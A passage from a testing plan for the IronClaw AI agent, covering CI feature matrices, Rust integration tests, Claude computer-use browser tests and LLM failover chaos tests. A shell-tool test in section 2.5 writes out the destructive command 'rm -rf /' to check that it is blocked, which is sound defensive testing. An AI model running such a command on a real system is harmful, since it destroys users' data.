The current `code_style.yml` runs clippy without `--all-features`, missing code behind `#[cfg(feature = "libsql")]` etc. The `test.yml` runs with `--all-features` but not with individual features.
|
|
||||||
|
|
||||||
Add a CI matrix:
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
# .github/workflows/test.yml
|
|
||||||
strategy:
|
|
||||||
matrix:
|
|
||||||
features:
|
|
||||||
- "--all-features"
|
|
||||||
- "" # default features only
|
|
||||||
- "--no-default-features --features libsql"
|
|
||||||
steps:
|
|
||||||
- name: Run Tests
|
|
||||||
run: cargo test ${{ matrix.features }} -- --nocapture
|
|
||||||
```
|
|
||||||
|
|
||||||
Update `code_style.yml` to also run clippy with `--all-features`:
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
- name: Check lints (all features)
|
|
||||||
run: cargo clippy --all-features -- -D warnings
|
|
||||||
- name: Check lints (libsql only)
|
|
||||||
run: cargo clippy --no-default-features --features libsql -- -D warnings
|
|
||||||
```
|
|
||||||
|
|
||||||
**Files:** Modify `.github/workflows/test.yml`, `.github/workflows/code_style.yml`
|
|
||||||
|
|
||||||
### 1.4 Docker Build in CI
|
|
||||||
|
|
||||||
Add a job that runs `docker build .` on every PR. No need to push the image -- just verify it builds.
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
# .github/workflows/test.yml - new job
|
|
||||||
docker-build:
|
|
||||||
name: Docker Build
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
- name: Build Docker image
|
|
||||||
run: docker build -t ironclaw-test:ci .
|
|
||||||
```
|
|
||||||
|
|
||||||
**Files:** Modify `.github/workflows/test.yml`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Tier 2: Integration Tests
|
|
||||||
|
|
||||||
**Cost:** Medium (needs test harnesses, possibly testcontainers)
|
|
||||||
**Timeline:** Parallel workstream, ~1 week for the harness, then incremental test additions
|
|
||||||
**Bugs this would have caught:** #250, #305, #260, #264, #346, #125, #72, #140
|
|
||||||
|
|
||||||
### 2.1 Test Harness: In-Memory Database Backend
|
|
||||||
|
|
||||||
Many integration tests need a database but not a real PostgreSQL/libSQL instance. Create a lightweight in-memory `Database` implementation (backed by `HashMap`s) that satisfies the `Database` trait for test use. This avoids testcontainers overhead for most tests.
|
|
||||||
|
|
||||||
Alternatively, use libSQL in `:memory:` mode (it's SQLite under the hood):
|
|
||||||
|
|
||||||
```rust
|
|
||||||
// src/testing.rs
|
|
||||||
pub async fn test_db() -> impl Database {
|
|
||||||
let backend = LibSqlBackend::open_in_memory().await.unwrap();
|
|
||||||
backend.run_migrations().await.unwrap();
|
|
||||||
backend
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Files:** Extend `src/testing.rs`, potentially `src/db/libsql/mod.rs` (add `open_in_memory`)
|
|
||||||
|
|
||||||
### 2.2 Turn Persistence Tests
|
|
||||||
|
|
||||||
Test every code path in `process_approval` and the main agent loop that should call `persist_turn`:
|
|
||||||
|
|
||||||
```rust
|
|
||||||
#[tokio::test]
|
|
||||||
async fn approved_tool_call_persists_turn() {
|
|
||||||
let db = test_db().await;
|
|
||||||
let mut agent = TestAgent::new(db);
|
|
||||||
// Create a turn with a pending tool call
|
|
||||||
agent.submit("search for cats").await;
|
|
||||||
// Simulate tool approval
|
|
||||||
agent.approve_tool_call(0).await;
|
|
||||||
// Verify turn is in DB (not just in memory)
|
|
||||||
let turns = agent.db().get_turns(agent.thread_id()).await.unwrap();
|
|
||||||
assert!(turns.iter().any(|t| t.has_tool_result()));
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
Cover:
|
|
||||||
- Approved tool call with successful result
|
|
||||||
- Approved tool call with error result
|
|
||||||
- Approved tool call requiring auth
|
|
||||||
- Deferred tool call with auth
|
|
||||||
- User message persisted before agent loop starts (not after)
|
|
||||||
|
|
||||||
**Files:** New `tests/turn_persistence.rs`
|
|
||||||
|
|
||||||
### 2.3 WASM Channel Lifecycle Tests
|
|
||||||
|
|
||||||
Test the host function contract: `workspace_write()` followed by `take_pending_writes()` returns the written data. `workspace_read()` returns data that was previously written.
|
|
||||||
|
|
||||||
```rust
|
|
||||||
#[tokio::test]
|
|
||||||
async fn wasm_channel_workspace_writes_are_flushed() {
|
|
||||||
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
|
|
||||||
// Simulate a callback that writes workspace data
|
|
||||||
wrapper.handle_callback(test_update_payload()).await.unwrap();
|
|
||||||
// Verify writes were captured
|
|
||||||
let writes = wrapper.take_pending_writes();
|
|
||||||
assert!(!writes.is_empty(), "workspace_write() calls must be captured");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn wasm_channel_workspace_read_returns_prior_writes() {
|
|
||||||
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
|
|
||||||
// Inject workspace data
|
|
||||||
wrapper.inject_workspace_entry("polling_offset", b"12345");
|
|
||||||
// Simulate a callback that reads workspace data
|
|
||||||
wrapper.handle_callback(test_update_payload()).await.unwrap();
|
|
||||||
// The channel should have used the injected offset (not 0)
|
|
||||||
// Verify by checking the getUpdates call offset parameter
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Files:** New `tests/wasm_channel_lifecycle.rs`, test helpers in `src/channels/wasm/wrapper.rs`
|
|
||||||
|
|
||||||
### 2.4 Extension Registry Collision Tests
|
|
||||||
|
|
||||||
Verify that installing a channel named "telegram" and a tool named "telegram" land in different directories and both resolve correctly:
|
|
||||||
|
|
||||||
```rust
|
|
||||||
#[tokio::test]
|
|
||||||
async fn channel_and_tool_with_same_name_dont_collide() {
|
|
||||||
let registry = TestRegistry::new();
|
|
||||||
registry.install("telegram", ArtifactKind::Channel).await.unwrap();
|
|
||||||
registry.install("telegram", ArtifactKind::Tool).await.unwrap();
|
|
||||||
assert!(registry.tools_dir().join("telegram").exists());
|
|
||||||
assert!(registry.channels_dir().join("telegram").exists());
|
|
||||||
// Both resolve independently
|
|
||||||
assert_eq!(registry.get("telegram", ArtifactKind::Channel).unwrap().kind, ArtifactKind::Channel);
|
|
||||||
assert_eq!(registry.get("telegram", ArtifactKind::Tool).unwrap().kind, ArtifactKind::Tool);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Files:** New `tests/registry_collision.rs`
|
|
||||||
|
|
||||||
### 2.5 Shell Tool Realistic Arg Tests
|
|
||||||
|
|
||||||
The destructive-command check bug (PR #72) happened because tests passed `Value::String` args but the LLM sends `Value::Object`. Test with realistic args:
|
|
||||||
|
|
||||||
```rust
|
|
||||||
#[tokio::test]
|
|
||||||
async fn destructive_command_blocked_with_object_args() {
|
|
||||||
let shell = ShellTool::new();
|
|
||||||
let params = serde_json::json!({
|
|
||||||
"command": "rm -rf /"
|
|
||||||
});
|
|
||||||
// This is how the LLM actually sends args -- as an Object, not a String
|
|
||||||
let result = shell.execute(params, &test_context()).await;
|
|
||||||
assert!(result.is_err() || result.unwrap().contains("blocked"));
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
Also test pipe deadlock prevention with large output:
|
|
||||||
|
|
||||||
```rust
|
|
||||||
#[tokio::test]
|
|
||||||
async fn shell_handles_large_output_without_deadlock() {
|
|
||||||
let shell = ShellTool::new();
|
|
||||||
let params = serde_json::json!({
|
|
||||||
"command": "yes | head -c 200000" // ~200KB, well above pipe buffer
|
|
||||||
});
|
|
||||||
let result = tokio::time::timeout(
|
|
||||||
Duration::from_secs(10),
|
|
||||||
shell.execute(params, &test_context())
|
|
||||||
).await;
|
|
||||||
assert!(result.is_ok(), "shell tool deadlocked on large output");
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Files:** Extend `src/tools/builtin/shell.rs` tests
|
|
||||||
|
|
||||||
### 2.6 Failover and Circuit Breaker Edge Cases
|
|
||||||
|
|
||||||
```rust
|
|
||||||
#[test]
|
|
||||||
fn cooldown_activation_at_zero_nanos() {
|
|
||||||
let mut cooldown = ProviderCooldown::new();
|
|
||||||
// Edge case: if system clock returns 0 (or test mock does)
|
|
||||||
cooldown.activate_cooldown(0);
|
|
||||||
assert!(cooldown.is_in_cooldown(), "cooldown(0) must not be a no-op");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn failover_with_all_providers_failing() {
|
|
||||||
let failover = FailoverProvider::new(vec![
|
|
||||||
always_failing_provider("a]"),
|
|
||||||
always_failing_provider("b"),
|
|
||||||
]);
|
|
||||||
let result = failover.chat(&[]).await;
|
|
||||||
assert!(result.is_err());
|
|
||||||
// Must not panic (the old .expect() bug)
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Files:** Extend `src/llm/circuit_breaker.rs` and `src/llm/failover.rs` tests
|
|
||||||
|
|
||||||
### 2.7 Context Length Recovery Test
|
|
||||||
|
|
||||||
Verify that when the LLM returns a `ContextLengthExceeded` error, the agent triggers compaction and retries rather than propagating the raw error:
|
|
||||||
|
|
||||||
```rust
|
|
||||||
#[tokio::test]
|
|
||||||
async fn context_length_exceeded_triggers_compaction() {
|
|
||||||
let mut agent = TestAgent::with_provider(
|
|
||||||
ContextLimitMockProvider::new(fail_after_n_turns: 3)
|
|
||||||
);
|
|
||||||
// Send enough messages to trigger context limit
|
|
||||||
for i in 0..5 {
|
|
||||||
agent.submit(&format!("message {i}")).await;
|
|
||||||
}
|
|
||||||
// Agent should have compacted and continued, not errored
|
|
||||||
assert!(agent.last_response().is_ok());
|
|
||||||
assert!(agent.compaction_count() > 0);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Files:** New `tests/context_recovery.rs`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Tier 3: Computer-Use E2E Testing
|
|
||||||
|
|
||||||
**Cost:** High (requires Anthropic computer use API, headless browser, ironclaw running)
|
|
||||||
**Timeline:** ~2 weeks for infrastructure, then incremental scenario additions
|
|
||||||
**Bugs this would have caught:** #307, #306, #263, all manual web-ui-test checklist items
|
|
||||||
|
|
||||||
### 3.1 Architecture
|
|
||||||
|
|
||||||
```
|
|
||||||
+------------------+ +-----------------+ +------------------+
|
|
||||||
| Test Runner | | Headless | | IronClaw |
|
|
||||||
| (Python/TS) |---->| Chromium |---->| (cargo run) |
|
|
||||||
| | | (Playwright) | | GATEWAY=true |
|
|
||||||
| Orchestrates | | | | port 3001 |
|
|
||||||
| scenarios | | Screenshots | | |
|
|
||||||
+--------+---------+ +--------+--------+ +------------------+
|
|
||||||
| |
|
|
||||||
v v
|
|
||||||
+------------------+ +-----------------+
|
|
||||||
| Claude | | Assertion |
|
|
||||||
| Computer Use | | Engine |
|
|
||||||
| API | | (visual + |
|
|
||||||
| (screenshot → | | DOM-based) |
|
|
||||||
| action) | | |
|
|
||||||
+------------------+ +-----------------+
|
|
||||||
```
|
|
||||||
|
|
||||||
**Components:**
|
|
||||||
|
|
||||||
1. **Test runner** -- Python or TypeScript script that orchestrates the flow. Starts ironclaw, waits for readiness, launches Playwright browser, runs scenarios.
|
|
||||||
|
|
||||||
2. **Playwright browser** -- Headless Chromium. Takes screenshots, executes click/type actions as directed by the computer use agent. Also provides DOM access for structural assertions (element exists, text content matches, no error toasts).
|
|
||||||
|
|
||||||
3. **Claude computer use agent** -- Anthropic API with `computer-use-2025-01-24` tool. Receives screenshots, returns actions (click coordinates, type text, scroll). The test runner translates actions into Playwright calls.
|
|
||||||
|
|
||||||
4. **Assertion engine** -- Hybrid approach:
|
|
||||||
- **DOM assertions** (Playwright): Fast, deterministic checks like "element with text 'Connected' exists", "no elements with class 'error-toast' visible", "skills list has N children"
|
|
||||||
- **Visual assertions** (Claude vision): For subjective checks like "the chat message rendered correctly", "no raw HTML visible in the output", "the SSE stream is updating in real-time"
|
|
||||||
|
|
||||||
### 3.2 Test Infrastructure Setup
|
|
||||||
|
|
||||||
**Directory structure:**
|
|
||||||
|
|
||||||
```
|
|
||||||
tests/
|
|
||||||
e2e/
|
|
||||||
conftest.py # pytest fixtures: start ironclaw, browser
|
|
||||||
computer_use.py # Claude computer use client wrapper
|
|
||||||
assertions.py # DOM + visual assertion helpers
|
|
||||||
scenarios/
|
|
||||||
test_connection.py
|
|
||||||
test_chat.py
|
|
||||||
test_skills.py
|
|
||||||
test_sse_reconnect.py
|
|
||||||
test_onboarding.py
|
|
||||||
test_html_injection.py
|
|
||||||
test_tool_approval.py
|
|
||||||
screenshots/ # Reference screenshots (gitignored)
|
|
||||||
Dockerfile.test # Container for CI: ironclaw + chromium
|
|
||||||
```
|
|
||||||
|
|
||||||
**Fixture: start ironclaw**
|
|
||||||
|
|
||||||
```python
|
|
||||||
@pytest.fixture(scope="session")
|
|
||||||
async def ironclaw_server():
|
|
||||||
"""Start ironclaw with gateway enabled, return base URL."""
|
|
||||||
env = {
|
|
||||||
"CLI_ENABLED": "false",
|
|
||||||
"GATEWAY_ENABLED": "true",
|
|
||||||
"GATEWAY_PORT": "3001",
|
|
||||||
"GATEWAY_AUTH_TOKEN": "test-token-e2e",
|
|
||||||
"GATEWAY_USER_ID": "e2e-tester",
|
|
||||||
"LLM_BACKEND": "openai_compatible", # or mock
|
|
||||||
"LLM_BASE_URL": "http://localhost:11434/v1", # local Ollama
|
|
||||||
"DATABASE_BACKEND": "libsql",
|
|
||||||
"LIBSQL_PATH": ":memory:",
|
|
||||||
"SANDBOX_ENABLED": "false",
|
|
||||||
"SKILLS_ENABLED": "true",
|
|
||||||
}
|
|
||||||
proc = await asyncio.create_subprocess_exec(
|
|
||||||
"cargo", "run", "--features", "libsql",
|
|
||||||
env={**os.environ, **env},
|
|
||||||
)
|
|
||||||
await wait_for_ready("http://127.0.0.1:3001/api/health", timeout=120)
|
|
||||||
yield "http://127.0.0.1:3001"
|
|
||||||
proc.terminate()
|
|
||||||
```
|
|
||||||
|
|
||||||
**Fixture: browser with computer use**
|
|
||||||
|
|
||||||
```python
|
|
||||||
@pytest.fixture
|
|
||||||
async def browser_agent(ironclaw_server):
|
|
||||||
"""Playwright browser + Claude computer use agent."""
|
|
||||||
async with async_playwright() as p:
|
|
||||||
browser = await p.chromium.launch(headless=True)
|
|
||||||
page = await browser.new_page(viewport={"width": 1280, "height": 720})
|
|
||||||
await page.goto(f"{ironclaw_server}/?token=test-token-e2e")
|
|
||||||
agent = ComputerUseAgent(page)
|
|
||||||
yield agent
|
|
||||||
await browser.close()
|
|
||||||
```
|
|
||||||
|
|
||||||
**Computer use wrapper:**
|
|
||||||
|
|
||||||
```python
|
|
||||||
class ComputerUseAgent:
|
|
||||||
"""Drives the browser via Claude computer use API."""
|
|
||||||
|
|
||||||
def __init__(self, page: Page):
|
|
||||||
self.page = page
|
|
||||||
self.client = anthropic.Anthropic()
|
|
||||||
|
|
||||||
async def execute_scenario(self, instruction: str, max_steps: int = 20) -> list[str]:
|
|
||||||
"""
|
|
||||||
Give a natural-language instruction, let Claude drive the browser.
|
|
||||||
Returns a list of observations/assertions from Claude.
|
|
||||||
"""
|
|
||||||
messages = [{"role": "user", "content": instruction}]
|
|
||||||
observations = []
|
|
||||||
|
|
||||||
for _ in range(max_steps):
|
|
||||||
screenshot = await self.take_screenshot()
|
|
||||||
response = self.client.messages.create(
|
|
||||||
model="claude-sonnet-4-20250514",
|
|
||||||
max_tokens=1024,
|
|
||||||
tools=[{
|
|
||||||
"type": "computer_20250124",
|
|
||||||
"name": "computer",
|
|
||||||
"display_width_px": 1280,
|
|
||||||
"display_height_px": 720,
|
|
||||||
}],
|
|
||||||
messages=messages,
|
|
||||||
)
|
|
||||||
|
|
||||||
# Process tool use blocks (click, type, screenshot, etc.)
|
|
||||||
for block in response.content:
|
|
||||||
if block.type == "tool_use":
|
|
||||||
result = await self.execute_action(block.input)
|
|
||||||
messages.append({"role": "assistant", "content": response.content})
|
|
||||||
messages.append({"role": "user", "content": [result]})
|
|
||||||
elif block.type == "text":
|
|
||||||
observations.append(block.text)
|
|
||||||
|
|
||||||
if response.stop_reason == "end_turn":
|
|
||||||
break
|
|
||||||
|
|
||||||
return observations
|
|
||||||
|
|
||||||
async def take_screenshot(self) -> bytes:
|
|
||||||
return await self.page.screenshot(type="png")
|
|
||||||
|
|
||||||
async def execute_action(self, action: dict) -> dict:
|
|
||||||
"""Translate Claude's computer use action to Playwright calls."""
|
|
||||||
if action["action"] == "click":
|
|
||||||
await self.page.mouse.click(action["coordinate"][0], action["coordinate"][1])
|
|
||||||
elif action["action"] == "type":
|
|
||||||
await self.page.keyboard.type(action["text"])
|
|
||||||
elif action["action"] == "scroll":
|
|
||||||
await self.page.mouse.wheel(0, action["coordinate"][1])
|
|
||||||
elif action["action"] == "key":
|
|
||||||
await self.page.keyboard.press(action["text"])
|
|
||||||
# Return screenshot after action
|
|
||||||
screenshot = await self.take_screenshot()
|
|
||||||
return {"type": "tool_result", "content": [
|
|
||||||
{"type": "image", "source": {"type": "base64", "media_type": "image/png",
|
|
||||||
"data": base64.b64encode(screenshot).decode()}}
|
|
||||||
]}
|
|
||||||
```
|
|
||||||
|
|
||||||
### 3.3 Test Scenarios
|
|
||||||
|
|
||||||
Each scenario maps to a real bug or the existing manual checklist in `skills/web-ui-test/SKILL.md`.
|
|
||||||
|
|
||||||
#### Scenario 1: Connection and Tab Navigation
|
|
||||||
|
|
||||||
```python
|
|
||||||
async def test_connection_and_tabs(browser_agent):
|
|
||||||
"""Bugs: #306 (orphan threads on null threadId during page load)"""
|
|
||||||
observations = await browser_agent.execute_scenario("""
|
|
||||||
1. Look at the page. Verify there is a "Connected" indicator visible.
|
|
||||||
2. Click each tab in order: Chat, Memory, Jobs, Routines, Extensions, Skills.
|
|
||||||
3. For each tab, verify the panel content changes and no error messages appear.
|
|
||||||
4. Return to the Chat tab.
|
|
||||||
5. Report what you see for each tab.
|
|
||||||
""")
|
|
||||||
# DOM assertions (fast, deterministic)
|
|
||||||
page = browser_agent.page
|
|
||||||
assert await page.locator(".connection-status.connected").count() > 0
|
|
||||||
for tab in ["chat", "memory", "jobs", "routines", "extensions", "skills"]:
|
|
||||||
assert await page.locator(f'[data-tab="{tab}"]').count() > 0
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Scenario 2: Chat Message Round-Trip
|
|
||||||
|
|
||||||
```python
|
|
||||||
async def test_chat_sends_and_receives(browser_agent):
|
|
||||||
"""Bugs: #305 (user message not persisted), #255 (fake proceed messages)"""
|
|
||||||
observations = await browser_agent.execute_scenario("""
|
|
||||||
1. Click on the chat input box at the bottom.
|
|
||||||
2. Type "Hello, what is 2+2?" and press Enter.
|
|
||||||
3. Wait for the assistant to respond (you should see a streaming response).
|
|
||||||
4. Verify the assistant's response appears below your message.
|
|
||||||
5. Report the assistant's response.
|
|
||||||
""")
|
|
||||||
page = browser_agent.page
|
|
||||||
# At least 2 messages: user + assistant
|
|
||||||
messages = await page.locator(".message").count()
|
|
||||||
assert messages >= 2
|
|
||||||
# No error toasts
|
|
||||||
assert await page.locator(".toast.error").count() == 0
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Scenario 3: SSE Reconnect
|
|
||||||
|
|
||||||
```python
|
|
||||||
async def test_sse_reconnect_preserves_history(browser_agent, ironclaw_server):
|
|
||||||
"""Bug: #307 (no re-sync on SSE reconnect after server restart)"""
|
|
||||||
page = browser_agent.page
|
|
||||||
|
|
||||||
# Step 1: Send a message
|
|
||||||
await browser_agent.execute_scenario("""
|
|
||||||
Type "Remember this: the secret word is platypus" in the chat and press Enter.
|
|
||||||
Wait for the response.
|
|
||||||
""")
|
|
||||||
msg_count_before = await page.locator(".message").count()
|
|
||||||
|
|
||||||
# Step 2: Kill and restart the server
|
|
||||||
# (test fixture provides a restart helper)
|
|
||||||
await restart_ironclaw(ironclaw_server)
|
|
||||||
|
|
||||||
# Step 3: Wait for reconnect
|
|
||||||
await page.wait_for_selector(".connection-status.connected", timeout=30000)
|
|
||||||
|
|
||||||
# Step 4: Verify message history is preserved
|
|
||||||
msg_count_after = await page.locator(".message").count()
|
|
||||||
assert msg_count_after >= msg_count_before, \
|
|
||||||
f"Messages lost after reconnect: {msg_count_before} -> {msg_count_after}"
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Scenario 4: Skills Search, Install, Remove
|
|
||||||
|
|
||||||
```python
|
|
||||||
async def test_skills_lifecycle(browser_agent):
|
|
||||||
"""Automates the manual checklist from skills/web-ui-test/SKILL.md"""
|
|
||||||
# Override confirm() to auto-accept
|
|
||||||
await browser_agent.page.evaluate("window.confirm = () => true")
|
|
||||||
|
|
||||||
observations = await browser_agent.execute_scenario("""
|
|
||||||
1. Click the "Skills" tab.
|
|
||||||
2. Look for a search box. Type "markdown" and press Enter or click Search.
|
|
||||||
3. Wait for results to appear.
|
|
||||||
4. Verify results show: name, version, description.
|
|
||||||
5. Click "Install" on the first result.
|
|
||||||
6. Wait for a success notification.
|
|
||||||
7. Verify the skill now appears in the "Installed Skills" section.
|
|
||||||
8. Click "Remove" on the skill you just installed.
|
|
||||||
9. Wait for a success notification.
|
|
||||||
10. Verify the skill is gone from the installed list.
|
|
||||||
11. Report what happened at each step.
|
|
||||||
""")
|
|
||||||
# Final state: no installed skills (we removed what we installed)
|
|
||||||
page = browser_agent.page
|
|
||||||
await page.click('[data-tab="skills"]')
|
|
||||||
# Should not have the test skill installed
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Scenario 5: HTML Injection Defense
|
|
||||||
|
|
||||||
```python
|
|
||||||
async def test_html_injection_sanitized(browser_agent):
|
|
||||||
"""Bug: #263 (HTML error pages injected into UI, still open)"""
|
|
||||||
# This requires a mock LLM that returns HTML in tool output
|
|
||||||
# or we craft a message that triggers tool output containing HTML
|
|
||||||
page = browser_agent.page
|
|
||||||
|
|
||||||
await browser_agent.execute_scenario("""
|
|
||||||
Type this exact message in the chat and press Enter:
|
|
||||||
"Please use the http tool to fetch https://httpbin.org/html"
|
|
||||||
Wait for the response.
|
|
||||||
""")
|
|
||||||
|
|
||||||
# The page should NOT have raw HTML rendering from the tool output
|
|
||||||
# Check that no unexpected <h1> or full <html> documents appear
|
|
||||||
body_html = await page.inner_html("body")
|
|
||||||
assert "<html>" not in body_html.lower() or "code" in body_html.lower(), \
|
|
||||||
"Raw HTML from tool output was injected unsanitized into the page"
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Scenario 6: Tool Approval Overlay
|
|
||||||
|
|
||||||
```python
|
|
||||||
async def test_tool_approval_overlay(browser_agent):
|
|
||||||
"""Bugs: #250 (approval results not persisted), #72 (destructive check dead code)"""
|
|
||||||
observations = await browser_agent.execute_scenario("""
|
|
||||||
1. Type "Run the shell command: echo hello world" in chat and press Enter.
|
|
||||||
2. If an approval dialog appears, click "Approve" or "Allow".
|
|
||||||
3. Wait for the result.
|
|
||||||
4. Verify the output includes "hello world".
|
|
||||||
5. Report what you see.
|
|
||||||
""")
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Scenario 7: Onboarding Wizard (Full Flow)
|
|
||||||
|
|
||||||
```python
|
|
||||||
async def test_onboarding_wizard_completes(tmp_ironclaw_home):
|
|
||||||
"""Bugs: #187, #174, #129, #185 (wizard persistence and re-trigger)"""
|
|
||||||
# Start ironclaw with a fresh home directory (no prior config)
|
|
||||||
# The wizard runs in TUI mode, so we need a PTY or use the web wizard
|
|
||||||
# if/when one exists. For now, test the CLI wizard via expect-style automation.
|
|
||||||
|
|
||||||
proc = pexpect.spawn(
|
|
||||||
"cargo run",
|
|
||||||
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
|
|
||||||
timeout=60,
|
|
||||||
)
|
|
||||||
|
|
||||||
# Step through wizard
|
|
||||||
proc.expect("Welcome to IronClaw")
|
|
||||||
proc.expect("LLM Backend")
|
|
||||||
proc.sendline("1") # Select first option
|
|
||||||
# ... continue through all 7 steps ...
|
|
||||||
proc.expect("Setup complete")
|
|
||||||
proc.close()
|
|
||||||
|
|
||||||
# Restart and verify wizard does NOT re-trigger
|
|
||||||
proc2 = pexpect.spawn(
|
|
||||||
"cargo run",
|
|
||||||
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
|
|
||||||
timeout=30,
|
|
||||||
)
|
|
||||||
proc2.expect("Agent ironclaw ready") # Should skip wizard
|
|
||||||
# Must NOT see "Welcome to IronClaw" again
|
|
||||||
assert not proc2.match_any(["Welcome to IronClaw"], timeout=5)
|
|
||||||
proc2.close()
|
|
||||||
```
|
|
||||||
|
|
||||||
### 3.4 LLM Backend for E2E Tests
|
|
||||||
|
|
||||||
E2E tests should not depend on external LLM APIs (flaky, expensive, slow). Options:
|
|
||||||
|
|
||||||
1. **Local Ollama** -- Run a small model (e.g., `qwen2.5:0.5b`) locally. Good enough for basic tool-calling tests. Set `LLM_BACKEND=openai_compatible` and `LLM_BASE_URL=http://localhost:11434/v1`.
|
|
||||||
|
|
||||||
2. **Mock LLM server** -- A tiny HTTP server that returns canned responses based on message content patterns. Fastest and most deterministic, but requires maintaining fixtures.
|
|
||||||
|
|
||||||
3. **Recorded responses** -- Record real LLM interactions once, replay in tests (VCR-style). Good balance of realism and determinism.
|
|
||||||
|
|
||||||
Recommendation: Start with local Ollama for development, mock LLM server for CI.
|
|
||||||
|
|
||||||
### 3.5 CI Integration
|
|
||||||
|
|
||||||
E2E tests are expensive and slow. Run them on a separate schedule, not on every PR:
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
# .github/workflows/e2e.yml
|
|
||||||
name: E2E Tests
|
|
||||||
on:
|
|
||||||
schedule:
|
|
||||||
- cron: "0 6 * * *" # Daily at 6 AM UTC
|
|
||||||
workflow_dispatch: # Manual trigger
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
e2e:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
services:
|
|
||||||
ollama:
|
|
||||||
image: ollama/ollama:latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
- name: Build ironclaw
|
|
||||||
run: cargo build --features libsql
|
|
||||||
- name: Install Playwright
|
|
||||||
run: pip install playwright pytest-playwright && playwright install chromium
|
|
||||||
- name: Pull test model
|
|
||||||
run: ollama pull qwen2.5:0.5b
|
|
||||||
- name: Run E2E tests
|
|
||||||
run: pytest tests/e2e/ -v --timeout=300
|
|
||||||
env:
|
|
||||||
LLM_BACKEND: openai_compatible
|
|
||||||
LLM_BASE_URL: http://localhost:11434/v1
|
|
||||||
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Tier 4: Chaos and Resilience Testing
|
|
||||||
|
|
||||||
**Cost:** Medium (needs mock providers, time-control utilities)
|
|
||||||
**Timeline:** After Tier 2 harness exists; add scenarios incrementally
|
|
||||||
**Bugs this would have caught:** #260, #125, #155, #252 (infinite loop), #139
|
|
||||||
|
|
||||||
### 4.1 LLM Provider Chaos
|
|
||||||
|
|
||||||
Test the failover chain, circuit breaker, and retry logic under realistic failure modes:
|
|
||||||
|
|
||||||
```rust
|
|
||||||
/// Provider that fails N times then succeeds
|
|
||||||
struct FlakeyProvider { failures_remaining: AtomicU32 }
|
|
||||||
|
|
||||||
/// Provider that returns ContextLengthExceeded after N messages
|
|
||||||
struct ContextBombProvider { threshold: usize }
|
|
||||||
|
|
||||||
/// Provider that hangs forever (tests timeout handling)
|
|
||||||
struct HangingProvider;
|
|
||||||
|
|
||||||
/// Provider that returns malformed JSON
|
|
||||||
struct GarbageProvider;
|
|
||||||
```
|
|
||||||
|
|
||||||
**Test scenarios:**
|
|
||||||
|
|
||||||
| Scenario | Setup | Expected |
|
|
||||||
|----------|-------|----------|
|
|
||||||
| Primary fails, secondary works | FlakeyProvider(3) + working provider | Failover after 3 retries, user gets response |
|
|
||||||
| All providers fail | FlakeyProvider(max) x3 | Graceful error to user, no panic |
|
|
||||||
| Context limit mid-conversation | ContextBombProvider(5) | Auto-compaction triggers, conversation continues |
|
|
||||||
| Provider hangs | HangingProvider with 10s timeout | Timeout error, failover to next |
|
|
||||||
| Malformed response | GarbageProvider | Error logged, retry or failover |
|
|
||||||
| Circuit breaker trips | FlakeyProvider(100) | Circuit opens after threshold, fast-fails subsequent calls |
|
|
||||||
| Circuit breaker recovers | FlakeyProvider(5) then success | Circuit half-opens, test call succeeds, circuit closes |
|
|
||||||
|
|
||||||
**Files:** New `tests/provider_chaos.rs`, mock providers in `src/testing.rs`
|
|
||||||
|
|
||||||
### 4.2 Concurrent Job Stress Test
|
|
||||||
|
|
||||||
Submit many jobs simultaneously and verify no state corruption:
|
|
||||||
|
|
||||||
```rust
|
|
||||||
#[tokio::test]
|
|
||||||
async fn concurrent_jobs_dont_corrupt_state() {
|
|
||||||
let db = test_db().await;
|
|
||||||
let agent = TestAgent::new(db);
|
|
||||||
|
|
||||||
// Submit 20 jobs concurrently
|
|
||||||
let handles: Vec<_> = (0..20)
|
|
||||||
.map(|i| {
|
|
||||||
let agent = agent.clone();
|
|
||||||
tokio::spawn(async move {
|
|
||||||
agent.submit(&format!("job {i}: what is {i} + {i}?")).await
|
|
||||||
})
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
let results: Vec<_> = futures::future::join_all(handles).await;
|
|
||||||
|
|
||||||
// All should complete (some may error, none should panic)
|
|
||||||
for result in &results {
|
|
||||||
assert!(result.is_ok(), "job panicked: {:?}", result);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Verify no cross-contamination in contexts
|
|
||||||
let jobs = agent.db().list_jobs().await.unwrap();
|
|
||||||
let unique_contexts: HashSet<_> = jobs.iter().map(|j| j.context_id).collect();
|
|
||||||
